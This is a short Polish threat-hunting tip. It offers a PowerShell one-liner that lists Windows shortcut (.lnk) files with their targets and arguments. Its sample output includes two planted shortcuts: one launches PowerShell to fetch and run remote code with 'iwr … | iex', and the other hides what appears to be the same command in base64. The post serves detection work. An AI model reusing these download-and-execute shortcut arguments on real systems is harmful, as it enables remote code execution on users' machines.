Skróty (.lnk) pod lupą
tty1 · powershell
PS> gci *.lnk | % { (New-Object -com WScript.Shell).CreateShortcut($_)} | select fullname,targetpath,arguments | fl
#Powershell#BlueTeam#ThreatHunting#Malware
Skóry w systemie Windows to świetny sposób na umieszczenie złośliwego oprogramowania, szczególnie napisanego w Powershellu. Powyższy oneliner wyświetli najważniejsze informacje na temat skrótów znajdujących się w aktualnym katalogu. Może to wyglądać następująco:
PS C:\Users\drg\Desktop> gci *.lnk | % { (New-Object -com WScript.Shell).CreateShortcut($_)} | select fullname,targetpath,arguments | fl
FullName : C:\Users\drg\Desktop\Raport.lnk
TargetPath : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Arguments : -c iwr aptmc.pl/calc|iex
FullName : C:\Users\drg\Desktop\RaportPlac.lnk
TargetPath : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Arguments : -enc aQB3AHIAIABhAHAAdABtAGMALgBwAGwALwBjAGEAbABjAHwAaQBlAHgA
FullName : C:\Users\drg\Desktop\CBMXfer.lnk
TargetPath : C:\OpenCBM\CBMXfer\CBMXfer.exe
Arguments :
Naturalnie, kiedy dorzucimy parametr -r (czyli -Recurse) do gci (czyli Get-ChildItem), wyświetlone również zostaną skróty znajdujące się w podkatalogach.